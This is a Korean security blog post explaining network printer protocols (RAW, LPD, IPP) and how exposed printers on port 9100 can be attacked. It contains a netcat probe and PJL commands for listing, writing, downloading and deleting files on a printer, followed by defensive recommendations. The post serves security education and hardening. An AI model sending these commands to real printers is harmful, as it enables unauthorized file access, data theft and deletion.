본문 바로가기
Hack/Network

Printer Hacking

by Becoming a Hacker 2020. 9. 21.
반응형

프린터 프로토콜

보통 프린터들이 사용하는 프로토콜로는 RAW, IPP, LPD, SMB 등이 존재합니다.

 

다소 생소한 RAW, LPD, IPP에 대하여 간단히 알아보겠습니다.

 

RAW

JetDirect, AppSocket, PDL-DataSream이라고도 불리며 9100/TCP 포트를 사용하고 있습니다.

프린터에서 사용되는 가장 간단하고 빠르며, 일반적으로 신뢰할 수 있는 프로토콜로 간주되기 때문에 네트워크 프린터와 통신하기 위해 사용되는 기본방식 입니다. 

 

LPD

lpr 명령어를 사용하여 액세스할 수 있으며, 515/TCP 포트를 사용하고 있습니다. 인쇄를 하기 위해서 클라이언트는 작업/사용자이름을 정의하는 제어 파일과 인쇄할 실제 데이터가 포함된 데이터 파일을 전송합니다. 인쇄 데이터를 처리하는 방법은 LPD 구현에 달려있으며, 유닉스 계열 운영 체제에 널리 사용되는 LPD 구현은 LPRng입니다.

 

IPP

확장 가능한 프로토콜이며, 631/TCP 포트에서 동작합니다. HTTP를 기반으로 하기 때문에 SSL/TLS 암호화 등 기존의 모든 보안 기능을 계승합니다. 가장 유명한 IPP 오픈소스는 많은 리눅스와 OS X 기본 인쇄 시스템인 CPUS가 있습니다.


프린터 해킹

IPP를 제외한 RAW, LPD 프로토콜은 보안이 고려되지 않았지만, 대부분의 프린터들이 두 프로토콜을 사용하고 있습니다.

 

RAW 프로토콜의 경우 PJL, PostScript, PCL 명령어를 통해 직접 액세스 할 수 있으며, 거의 모든 네트워크 프린터에서 지원되기 때문에 이를 이용한 여러가지 공격이 가능합니다.

 

nc 명령어를 통해 9100 포트에서 접근하여 취약점 발현 여부를 확인할 수 있습니다.

nc HOST_IP 9100
@PJL INFO ID

 

저의 경우 PJL(Printer Job Language) 명령어를 통하여 여러가지 공격을 수행하였고, 프린터 해킹 시 사용했던 PJL 구문은 다음과 같습니다.

 

디렉터리 목록 확인

@PJL FSDIRLIST NAME="0:/PATH/" ENTRY=1

 

파일 생성 및 내용 추가

 

<ESC>%-12345x 구문을 발견하면 입력을 종료합니다.

@PJL FSAPPEND FORMAT:BINARY NAME="0:/PATH/FILE NAME" size=FILE SIZE
FILE CONTENT<ESC>%-12345x

 

파일 내용 확인 및 다운로드

@PJL FSUPLOAD NAME="0:/PATH/FILE NAME" OFFSET=0 SIZE=FILE SIZE

 

파일 삭제

@PJL FSDELETE NAME="0:/PATH/FILE NAME"

 

프린터 해킹을 자동화한 도구로는 PRET가 있으며, 해당 도구는 python 2.x 에서만 실행되기 때문에 제가 프린터 해킹을 하던 환경에서는 사용할 수 없었고 PJL 관련 코드를 참고하여 python 3.x용 도구를 만들었습니다.

 

해당 도구는 추후 공개하도록 하겠습니다.


대응 방안

1. 영향 받는 기기를 공인 IP 사용이 아닌 내부 사설IP로 변경하여 사용 권고

 

2.방화벽에서 프린터 제어 PCL(Printer Command Language), PJL(Printer Job Language)프로토콜이 사용하는 포트(9100번)를 외부와 차단 권고

 

3. 허용된 사용자 IP만 인쇄 기능을 동작 시킬 수 있도록 방화벽 및 프린터 권한 설정 권고

 

4. 프린터 인쇄물 정보 유출을 사전에 예방하기 위해 프린터 관리자(웹 페이지 등)의 디폴트 패스워드를 안전하게 변경하여 사용하고 캐시파일, 스캔파일 등을 주기적으로 삭제


Reference

http://hacking-printers.net/wiki/index.php/Main_Page

https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=25127

https://github.com/RUB-NDS/PRET

댓글